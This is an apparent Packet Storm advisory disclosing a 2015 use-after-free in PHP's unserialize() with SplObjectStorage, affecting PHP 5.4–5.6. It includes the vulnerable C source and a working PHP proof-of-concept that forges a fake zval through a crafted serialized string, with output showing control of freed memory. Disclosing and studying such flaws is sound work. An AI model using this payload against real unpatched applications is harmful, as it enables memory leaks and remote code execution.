PHP 5.6 / 5.5 / 5.4 SplOnjectStorage unserialize() Use-After-Free

2015-09-07T00:00:00
ID PACKETSTORM:133479
Type packetstorm
Reporter Taoguang Chen
Modified 2015-09-07T00:00:00

Description

                                        
                                            `#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.8.27 - Release Date: 2015.9.4  
  
> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.13  
Affected is PHP 5.5 < 5.5.29  
Affected is PHP 5.4 < 5.4.45  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
  
```  
ALLOC_INIT_ZVAL(pentry);  
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {  
zval_ptr_dtor(&pentry);  
goto outexcept;  
}  
if(Z_TYPE_P(pentry) != IS_OBJECT) {  
goto outexcept;  
}  
ALLOC_INIT_ZVAL(pinf);  
if (*p == ',') { /* new version has inf */  
++p;  
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {  
zval_ptr_dtor(&pinf);  
goto outexcept;  
}  
}  
```  
  
It has been demonstrated many times before that __wakeup() leads to  
ZVAL is freed from memory. However during deserialization will still  
allow to use R: or r: to set references to that already freed memory.  
It is possible to use-after-free attack and execute arbitrary code  
remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.  
  
```  
<?php  
  
class obj {  
var $ryat;  
function __wakeup() {  
$this->ryat = 1;  
}  
}  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';  
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';  
  
$data = unserialize($exploit);  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = '';  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(5) {  
[0]=>  
int(1)  
[1]=>  
&int(1)  
[2]=>  
object(obj)#3 (1) {  
["ryat"]=>  
&int(1)  
}  
[3]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
[4]=>  
string(24) "?v?B????"  
}  
```  
  
  
`